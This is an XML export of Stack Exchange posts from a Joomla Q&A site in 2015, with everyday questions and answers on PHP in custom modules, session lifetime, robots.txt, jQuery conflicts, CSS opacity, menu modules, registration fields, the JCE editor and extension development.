  <row Id="7206" PostTypeId="1" AcceptedAnswerId="7207" CreationDate="2015-01-25T15:13:35.760" Score="2" ViewCount="9507" Body="&lt;p&gt;I'm trying to introduce a simple php in a custom html module and it doesn't let me do it.Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt; ? php &#xA;   echo &quot; Hello World&quot; . &quot;\n&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3562" LastEditorUserId="64" LastEditDate="2015-01-25T15:21:26.347" LastActivityDate="2015-01-25T15:25:56.827" Title="Inserting php in a custom html module" Tags="|joomla-3.x|php|custom-module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7207" PostTypeId="2" ParentId="7206" CreationDate="2015-01-25T15:25:56.827" Score="2" Body="&lt;p&gt;By default, Joomla doesn't allow you to use PHP in the editor. You will need to download a 3rd party extension to allow this feature. I would strongly recommend &lt;a href=&quot;https://nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, simply wrap your code around &lt;code&gt;{source}&lt;/code&gt; tags like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;     echo &quot; Hello World&quot; . &quot;\n&quot;;&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-25T15:25:56.827" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7208" PostTypeId="1" CreationDate="2015-01-25T16:21:19.527" Score="1" ViewCount="4377" Body="&lt;p&gt;I´m specifically looking for a way to make the login session persistent so that a user is kept logged in even after closing his/her browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per default the login session is always terminated whenever a user closes his/her browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to achieve this, is there a plugin for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="3555" LastActivityDate="2015-01-25T16:26:47.633" Title="How to set login session in Joomla 3 as persistent cookie?" Tags="|joomla-3.x|user|session|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7209" PostTypeId="2" ParentId="7208" CreationDate="2015-01-25T16:26:47.633" Score="1" Body="&lt;p&gt;In the Joomla backend go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt;&gt; &lt;strong&gt;System&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you will see an option called &lt;strong&gt;Session Lifetime&lt;/strong&gt; which by default is set to &lt;em&gt;15&lt;/em&gt;. This value defines the minutes. You can change it to whatever you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use a plugin such as &lt;a href=&quot;http://extensions.joomla.org/extension/session-keeper&quot; rel=&quot;nofollow&quot;&gt;Session Keeper&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/forever-sessions&quot; rel=&quot;nofollow&quot;&gt;Forever Sessions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-25T16:26:47.633" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7211" PostTypeId="1" CreationDate="2015-01-25T19:32:12.610" Score="3" ViewCount="147" Body="&lt;p&gt;Google is indexing my mobile menu along with my sites main menu and when I check Google it's displaying duplicates. I'm not sure why this is happening but I'd like to stop Google from indexing the sidebar menu at all and only index the main menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm worried if Google thinks it's duplicate content, Google will kill my site. I'm using Yootheme Stage theme if that help any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force Google to forget the Sidebar (mobile) menu? I have submitted a sitemap with only the main menu but I'm not sure that worked.&lt;/p&gt;&#xA;" OwnerUserId="3392" LastActivityDate="2015-01-25T22:11:11.620" Title="Joomla 3.3 and Google SEO Question" Tags="|joomla-3.3.x|google-analytics|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7214" PostTypeId="2" ParentId="7211" CreationDate="2015-01-25T22:11:11.620" Score="2" Body="&lt;p&gt;One way is to use the robots.txt file in the root to exclude urls from (Google) indexing&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Disallow: /index.php?option=com_content&amp;amp;view=article&amp;amp;id=23&amp;amp;Itemid=377&lt;br&gt;&#xA;  Disallow: /index.php?Itemid=377&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Depending on your server you should leave out the leading slash /&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to update robots.txt each time you change (sub)menu items...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here are more methods:&lt;br&gt;&#xA;&lt;a href=&quot;http://moz.com/blog/12-ways-to-keep-your-content-hidden-from-the-search-engines&quot; rel=&quot;nofollow&quot;&gt;http://moz.com/blog/12-ways-to-keep-your-content-hidden-from-the-search-engines&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-01-25T22:11:11.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7216" PostTypeId="1" CreationDate="2015-01-25T22:50:09.677" Score="1" ViewCount="1028" Body="&lt;p&gt;If you check this webpage: &lt;a href=&quot;http://www.benaventegrow.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.benaventegrow.com/&lt;/a&gt; I don't know why, but SP Smart Slider module doesn't load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be a JQuery conflict. I have read about the &lt;code&gt;.noConflict()&lt;/code&gt; function, but it's already implemented in the jquery code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I disable the Jquery VirtueMart option, it works, but in shop, the prices don't update when I choose another product. If I active it, the slider doesn't work, but the prices do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? I need the prices and the slider working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. In the console, I am receiving this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: undefined is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;spiStoreiiLayout.spSmartslider({&#xA; autoplay  : 1,&#xA; interval  : 7000,&#xA; delay     : 0, &#xA; fullWidth : false&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's marking the delay option (with value 0).&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="12352" LastEditDate="2019-05-27T13:38:46.350" LastActivityDate="2019-05-27T13:38:46.350" Title="SP Smart Slider doesn't load" Tags="|joomla-2.5|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7217" PostTypeId="2" ParentId="7216" CreationDate="2015-01-25T23:33:55.200" Score="1" Body="&lt;p&gt;Looking through the JS within the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags in the browser console, I can't seem to find anything wrong, however I did notice you have 2 instances of jQuery being imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one from the K2 extension, and the other one from GoogleApis CDN but as it's external, I don't know where it's being called from. The one coming from Google os an older version so I would suggest trying to remove this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could possibly be being called from the Smart Slider extension, so check the options for it and see if there is anything relating to disabling jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If push comes to shove, then I would recommend using &lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt;, which is a plugin that strips out all instances of jQuery and uses it's own, along with many other features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-25T23:33:55.200" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7218" PostTypeId="1" AcceptedAnswerId="7219" CreationDate="2015-01-25T23:42:00.757" Score="0" ViewCount="574" Body="&lt;p&gt;Hello can anyone help me and let me know as to why my footer won't stay at the bottom of the page. I have my logo at the top followed by navigation and then a custom HTML module full of text. Instead of it being at the bottom it stays in the middle of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone tell me what I'm doing wrong? I have too much code to post here so if you would like access to the website administration panel you are more than welcome too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webbmaster.com.au/web-programs/questdesign/index.php/terms-and-conditions&quot; rel=&quot;nofollow&quot;&gt;http://www.webbmaster.com.au/web-programs/questdesign/index.php/terms-and-conditions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2015-01-26T00:22:46.157" Title="My footer won't go to the bottom of the page" Tags="|joomla-3.x|css|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7219" PostTypeId="2" ParentId="7218" CreationDate="2015-01-26T00:22:46.157" Score="1" Body="&lt;p&gt;You can solve this with a very simple fix. In your template index.php file, you will see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you need to replace with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;body clearfix&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on a &lt;code&gt;clearfix&lt;/code&gt;, please have a read of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/8554043/what-is-clearfix&quot;&gt;https://stackoverflow.com/questions/8554043/what-is-clearfix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-26T00:22:46.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7220" PostTypeId="1" CreationDate="2015-01-26T02:46:30.700" Score="1" ViewCount="2449" Body="&lt;p&gt;How do I go about making the text in a module not affected by the opacity for the white background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webbmaster.com.au/web-programs/questdesign/index.php/services&quot; rel=&quot;nofollow&quot;&gt;http://www.webbmaster.com.au/web-programs/questdesign/index.php/services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this page I would like the text and 3 images to not be affected by the opacity only the white background.&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2015-01-27T10:59:24.410" Title="Make the opacity in module the background not text or images" Tags="|joomla-3.x|css|jhtml|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7223" PostTypeId="1" AcceptedAnswerId="7254" CreationDate="2015-01-26T05:20:01.907" Score="2" ViewCount="343" Body="&lt;p&gt;In the component of Article Manager, right after saving the article, it is automatically set as the current version of the article. I can't find the code that it stores the data also to the ucm_history table. I want to make changes to it as when I save the article, it does not automatically become the current version, wherein I need to go to versions toolbar to set it as the current version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the global configuration of Articles in the Editing Layout section, since Save History option is set to Yes,  I want to get that part of the code so I can make customization which I mentioned earlier but in the com_content/models/article.php on the Save function, it does not include the code for storing data to the ucm_history table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: 4:56pm &lt;a href=&quot;https://docs.joomla.org/Using_Content_History_in_your_Component#Add_Rows_to_Content_Types_Table&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Content_History_in_your_Component#Add_Rows_to_Content_Types_Table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the file from this link and after reading the tutorial, there was no special code for using the table of ucm_history, they only added the line of code in a table class: for the component to be able to use content versioning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JObserverMapper::addObserverClassToClass('JTableObserverContenthistory', 'JoomprosubsTableSubscription', array('typeAlias' =&gt; 'com_joomprosubs.subscription'));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after installing the sample component from the link, it still does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-01-27T03:46:26.240" LastActivityDate="2015-02-21T02:19:19.313" Title="Content Versioning customization" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7225" PostTypeId="2" ParentId="7220" CreationDate="2015-01-26T07:49:27.180" Score="2" Body="&lt;p&gt;you can use this css for transparent backgrounds only&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;background: rgba(255, 255, 255, 0.7);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="1629" LastEditDate="2015-01-26T13:23:13.093" LastActivityDate="2015-01-26T13:23:13.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7226" PostTypeId="2" ParentId="7220" CreationDate="2015-01-26T08:15:44.143" Score="1" Body="&lt;p&gt;To have a white background only with an opacity, use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background: rgba(255, 255, 255, 0.3);&#xA;background: url(../images/transparent_white.png) repeat;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;255, 255, 255&lt;/code&gt; are the &lt;code&gt;rgb&lt;/code&gt; values for white and &lt;code&gt;0.3&lt;/code&gt; is the level of transparency. I've also included a fallback image for older browsers that do not support &lt;code&gt;rgba&lt;/code&gt;. If you want to keep it, you will of course have to create the transparent &lt;strong&gt;png&lt;/strong&gt; and possibly the path of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-01-27T10:59:24.410" LastActivityDate="2015-01-27T10:59:24.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7227" PostTypeId="1" CreationDate="2015-01-26T08:23:34.210" Score="0" ViewCount="649" Body="&lt;p&gt;In first place I'm not very good concerning to PHP so that's why I post this.&#xA;I made my research but didn't find anything that could help me heading my objective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to place a footer module with the current page menu parent and respective Children. I've tried a module &lt;code&gt;mod_footermenu&lt;/code&gt; but this one displays all menus and children. But I only wanted the current parent menu and all its children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Europe&#xA;-- Portugal&#xA;-- Spain&#xA;-- France&#xA;&#xA;- America&#xA;-- Canada&#xA;-- Brazil&#xA;-- USA&#xA;&#xA;- Asia&#xA;-- China&#xA;-- Japan&#xA;-- Corea&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if I am currently viewing page &lt;code&gt;canada&lt;/code&gt; my footer menu would display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;- America (parent)&#xA;-- Canada&#xA;-- Brazil&#xA;-- USA&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code that of &lt;code&gt;default.php&lt;/code&gt; for the module I am using. How could I change it in order to get what I've described? For some reason, this module is displaying my menus inlined. Could it be css &lt;code&gt;display:inline&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;asdasd&amp;lt;?php echo $class_sfx;?&amp;gt;&quot;&amp;lt;?php&#xA;$tag = '';&#xA;if ($params-&amp;gt;get('tag_id')!=NULL) {&#xA;    $tag = $params-&amp;gt;get('tag_id').'';&#xA;    echo ' id=&quot;'.$tag.'&quot;';&#xA;}&#xA;?&amp;gt;&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item) :&#xA;    $class = 'item-'.$item-&amp;gt;id;&#xA;    if ($item-&amp;gt;id == $active_id) {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path)) {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type == 'alias') {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path)-1]) {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path)) {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper) {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent) {&#xA;        $class .= ' parent';&#xA;    }&#xA;&#xA;    if (!empty($class)) {&#xA;        $class = ' class=&quot;'.trim($class) .'&quot;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li'.$class.'&amp;gt;';&#xA;&#xA;    // Render the menu item.&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'url':&#xA;        case 'component':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_'.$item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper) {&#xA;        echo '&amp;lt;ul&amp;gt;';&#xA;    }&#xA;    // The next item is shallower.&#xA;    elseif ($item-&amp;gt;shallower) {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;    // The next item is on the same level.&#xA;    else {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;endforeach;&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone could take a look a this code I would really appreciate, I've tried changing a lot in this code but the closest I've achieved was to display only the currents (parent active menu, and its current child), but I wanted the non current children too. &lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-03-28T19:17:01.863" Title="Display current menu and respective childs" Tags="|joomla-2.5|menu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7229" PostTypeId="1" CreationDate="2015-01-26T10:03:24.013" Score="0" ViewCount="589" Body="&lt;p&gt;I want to enhance the user registration form. I want to add a drop-down menu to show usergroups.&#xA;I already have created a plugin for this and the drop-down is showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used an XML file to load the usergroup field. However I don't want to show all usergroups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I determine which usergroup are shown in the drop-down box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore the value from this standard form usergroup is not saved. How can I save the chosen usergroup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data)&#xA;{&#xA;    if ($form-&amp;gt;getName() != 'com_users.registration') {&#xA;        return;&#xA;    }&#xA;    $form-&amp;gt;loadFile(dirname(FILE) . '/forms/form.xml');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the form field in the XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;guest_usergroup&quot; type=&quot;usergroup&quot; label=&quot;klas&quot; description=&quot;klass&quot; multiple=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3577" LastEditorUserId="38" LastEditDate="2015-01-26T20:44:59.743" LastActivityDate="2015-01-26T20:44:59.743" Title="Enhance user registration form" Tags="|joomla-3.x|development|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7230" PostTypeId="1" CreationDate="2015-01-26T10:17:45.873" Score="1" ViewCount="394" Body="&lt;p&gt;How to insert custom text to JCE v. 2.3.4.4 using javascript?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have opened the page source and saw that the editor is an iframe. Text is in &lt;code&gt;&amp;lt;body id=&quot;tinymce&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;body#tinymce&quot;).html(&quot;mytext&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work. Of course, it is executed on domReady.&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="12352" LastEditDate="2019-05-27T13:32:02.513" LastActivityDate="2019-09-03T07:26:09.150" Title="Insert custom text to JCE using Javascript" Tags="|joomla-2.5|javascript|tinymce|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7232" PostTypeId="2" ParentId="7230" CreationDate="2015-01-26T10:41:29.453" Score="1" Body="&lt;p&gt;I have found a solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var id = &quot;yourTextAreaId&quot;;&#xA;var tmce_el = tinyMCE.get(id);&#xA;if (tmce_el != undefined)&#xA;{&#xA;    tmce_el.execCommand('mceSetContent', false, value);&#xA;}&#xA;else&#xA;{&#xA;    document.getElementById(id).innerHTML = value;&#xA;    document.getElementById(id).value = value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-01-26T10:41:29.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7233" PostTypeId="1" AcceptedAnswerId="7317" CreationDate="2015-01-26T10:52:47.447" Score="5" ViewCount="103" Body="&lt;p&gt;I have used &lt;strong&gt;JED checker&lt;/strong&gt; to analyze if my extension is valid to submit in JED.&#xA;But also i want to know major or minor things to consider before &lt;strong&gt;submitting extension&lt;/strong&gt; in JED.&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-01-28T21:41:16.297" Title="What are the criteria to take in mind before submitting extension in JED?" Tags="|extensions|jed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7234" PostTypeId="2" ParentId="7233" CreationDate="2015-01-26T11:00:27.367" Score="3" Body="&lt;p&gt;Providing you have used the JED checker, there isn't really anything else you need to take into consideration for the submission, however there are some things that you may want to take into consideration on the development side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt; and &lt;strong&gt;up to date coding standards&lt;/strong&gt; are 2 major things. Please do ensure that for things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Database queries&lt;/li&gt;&#xA;&lt;li&gt;Importing JS/CSS files&lt;/li&gt;&#xA;&lt;li&gt;Getting &lt;code&gt;POST/GET&lt;/code&gt; variables&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;that you have read the documentation and used the methods provided. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing worse that seeing extensions that are &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using native SQL or old coding standards for DB queries&lt;/li&gt;&#xA;&lt;li&gt;Importing jQuery using a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;JRequest&lt;/code&gt; for Joomla 3.x&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my advice would simply be to look through the code for your extension, and the Joomla documentation to ensure it's all hunky doory.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-26T11:00:27.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7235" PostTypeId="2" ParentId="7220" CreationDate="2015-01-26T11:31:06.730" Score="3" Body="&lt;p&gt;In your template.css replace: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.servpricing {&#xA;background: #FFF;&#xA;color: #000;&#xA;opacity: 0.3;&#xA;filter: alpha(opacity=20);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.servpricing {&#xA;background: #fff; // Left as a fallback for older browsers&#xA;background: rgba(255,255,255,.3); // transparent white&#xA;color: #000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-26T11:31:06.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7236" PostTypeId="1" CreationDate="2015-01-26T12:28:46.960" Score="1" ViewCount="1280" Body="&lt;p&gt;I have a custom-made Joomla 3 component used to create users in the frontend and adding some fields to another table. Now, I must change a bit this procedure: I must send an email to the new user with his username and password when he's registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In teory, this is really trivial. In my model, I should update the save() function, and after saving I send the email. And that's correct. But the problem is: how can I know that I'm &lt;strong&gt;creating&lt;/strong&gt; a new user, and not &lt;strong&gt;updating&lt;/strong&gt; and old user? I've been looking at Joomla3's documentation, but I don't know how to do this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me, please?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2015-01-26T15:07:57.983" Title="How can I know if JTable-&gt;save() is inserting or updating a record?" Tags="|joomla-3.x|development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7237" PostTypeId="2" ParentId="7165" CreationDate="2015-01-26T12:50:23.473" Score="1" Body="&lt;p&gt;I found a way to do this, there were acutally more settings in the module configuration giving a order like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{NAME} {DATE}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I've got some more problems with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll contact the developer as suggested.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2015-01-26T12:50:23.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7238" PostTypeId="2" ParentId="7236" CreationDate="2015-01-26T13:44:29.053" Score="4" Body="&lt;p&gt;I tried all of the possible ways and the absolute safest option is to add a dispatcher before the save functions and afterwards detach it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implement the save function that way in your model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save ($data)&#xA;{&#xA;    $dispatcher = JDispatcher::getInstance();&#xA;    $eventHandler = new EventHandler($dispatcher, $this);&#xA;&#xA;    $return = parent::save($data);&#xA;&#xA;    $dispatcher-&amp;gt;detach($eventHandler);&#xA;&#xA;    return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following class to your model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class EventHandler extends JEvent&#xA;{&#xA;&#xA;    private $model = null;&#xA;&#xA;    public function __construct (&amp;amp;$subject, $model)&#xA;    {&#xA;        parent::__construct($subject);&#xA;&#xA;        $this-&amp;gt;model = $model;&#xA;    }&#xA;&#xA;    public function onContentBeforeSave ($context, $event, $isNew)&#xA;    {}&#xA;&#xA;    public function onContentAfterSave ($context, $event, $isNew)&#xA;    {&#xA;        if ($context != 'com_dpcalendar.event' &amp;amp;&amp;amp; $context != 'com_dpcalendar.form')&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        if ($isNew)&#xA;        {&#xA;            // send mail&#xA;        }&#xA;    }&#xA;&#xA;    public function onContentBeforeDelete ($context, $event)&#xA;    {}&#xA;&#xA;    public function onContentAfterDelete ($context, $event)&#xA;    {}&#xA;&#xA;    public function onContentChangeState ($context, $pks, $value)&#xA;    {}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this looks like a big overhead but it will keep you save.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2015-01-26T13:44:29.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
